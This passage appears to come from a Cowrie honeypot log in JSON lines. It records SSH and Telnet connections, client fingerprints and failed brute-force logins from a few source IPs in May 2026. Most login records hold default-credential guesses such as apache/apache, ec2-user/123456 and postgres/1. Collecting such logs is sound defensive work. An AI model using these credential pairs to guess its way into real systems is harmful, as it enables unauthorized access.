sh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:56.288250Z","src_ip":"83.168.110.85","session":"aed8fd0b748a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:56.653278Z","src_ip":"83.168.110.85","session":"aed8fd0b748a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:21:57.920375Z","src_ip":"83.168.110.85","session":"aed8fd0b748a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52118,"dst_ip":"10.17.0.5","dst_port":22,"session":"974f525a6ca4","protocol":"ssh","message":"New connection: 83.168.110.85:52118 (10.17.0.5:22) [session: 974f525a6ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:03.259728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:03.265370Z","src_ip":"83.168.110.85","session":"974f525a6ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:03.391510Z","src_ip":"83.168.110.85","session":"974f525a6ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:03.760235Z","src_ip":"83.168.110.85","session":"974f525a6ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:04.886066Z","src_ip":"83.168.110.85","session":"974f525a6ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33066,"dst_ip":"10.17.0.5","dst_port":22,"session":"c54a03646d03","protocol":"ssh","message":"New connection: 83.168.110.85:33066 (10.17.0.5:22) [session: c54a03646d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:10.084100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:10.089275Z","src_ip":"83.168.110.85","session":"c54a03646d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:10.210470Z","src_ip":"83.168.110.85","session":"c54a03646d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:10.702140Z","src_ip":"83.168.110.85","session":"c54a03646d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":37076,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeafb3fc976c","protocol":"ssh","message":"New connection: 80.94.92.171:37076 (159.203.135.109:22) [session: aeafb3fc976c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:10.797425Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:11.839613Z","src_ip":"83.168.110.85","session":"c54a03646d03","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:12.043032Z","src_ip":"80.94.92.171","session":"aeafb3fc976c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:12.047054Z","src_ip":"80.94.92.171","session":"aeafb3fc976c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:12.860072Z","src_ip":"80.94.92.171","session":"aeafb3fc976c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:14.026478Z","src_ip":"80.94.92.171","session":"aeafb3fc976c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53646,"dst_ip":"10.17.0.5","dst_port":22,"session":"5482a72ec4ec","protocol":"ssh","message":"New connection: 83.168.110.85:53646 (10.17.0.5:22) [session: 5482a72ec4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:17.246402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:17.257733Z","src_ip":"83.168.110.85","session":"5482a72ec4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:17.367920Z","src_ip":"83.168.110.85","session":"5482a72ec4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":35206,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d0a6a13bdc4","protocol":"ssh","message":"New connection: 194.59.206.2:35206 (159.203.135.109:22) [session: 8d0a6a13bdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:17.844780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:17.850181Z","src_ip":"194.59.206.2","session":"8d0a6a13bdc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:17.869539Z","src_ip":"83.168.110.85","session":"5482a72ec4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:17.950491Z","src_ip":"194.59.206.2","session":"8d0a6a13bdc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:18.047927Z","src_ip":"194.59.206.2","session":"8d0a6a13bdc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:19.163423Z","src_ip":"83.168.110.85","session":"5482a72ec4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53656,"dst_ip":"10.17.0.5","dst_port":22,"session":"57273c6eb63f","protocol":"ssh","message":"New connection: 83.168.110.85:53656 (10.17.0.5:22) [session: 57273c6eb63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:24.026771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:24.035598Z","src_ip":"83.168.110.85","session":"57273c6eb63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:24.159310Z","src_ip":"83.168.110.85","session":"57273c6eb63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:24.546443Z","src_ip":"83.168.110.85","session":"57273c6eb63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:25.670103Z","src_ip":"83.168.110.85","session":"57273c6eb63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00191116333008,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:26.331891Z","src_ip":"176.65.139.118","session":"30b88214dfff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40442,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3d918e8bd75","protocol":"ssh","message":"New connection: 83.168.110.85:40442 (10.17.0.5:22) [session: f3d918e8bd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:30.743936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:30.749342Z","src_ip":"83.168.110.85","session":"f3d918e8bd75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:30.870938Z","src_ip":"83.168.110.85","session":"f3d918e8bd75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:31.413808Z","src_ip":"83.168.110.85","session":"f3d918e8bd75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:32.537107Z","src_ip":"83.168.110.85","session":"f3d918e8bd75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34170,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c70b027854c","protocol":"ssh","message":"New connection: 83.168.110.85:34170 (10.17.0.5:22) [session: 6c70b027854c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:37.958264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:37.967548Z","src_ip":"83.168.110.85","session":"6c70b027854c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:38.088623Z","src_ip":"83.168.110.85","session":"6c70b027854c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:38.613811Z","src_ip":"83.168.110.85","session":"6c70b027854c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:39.827251Z","src_ip":"83.168.110.85","session":"6c70b027854c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea8a98df2251","protocol":"telnet","message":"New connection: 152.42.224.71:52996 (10.17.0.5:23) [session: ea8a98df2251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:22:44.466126Z"}
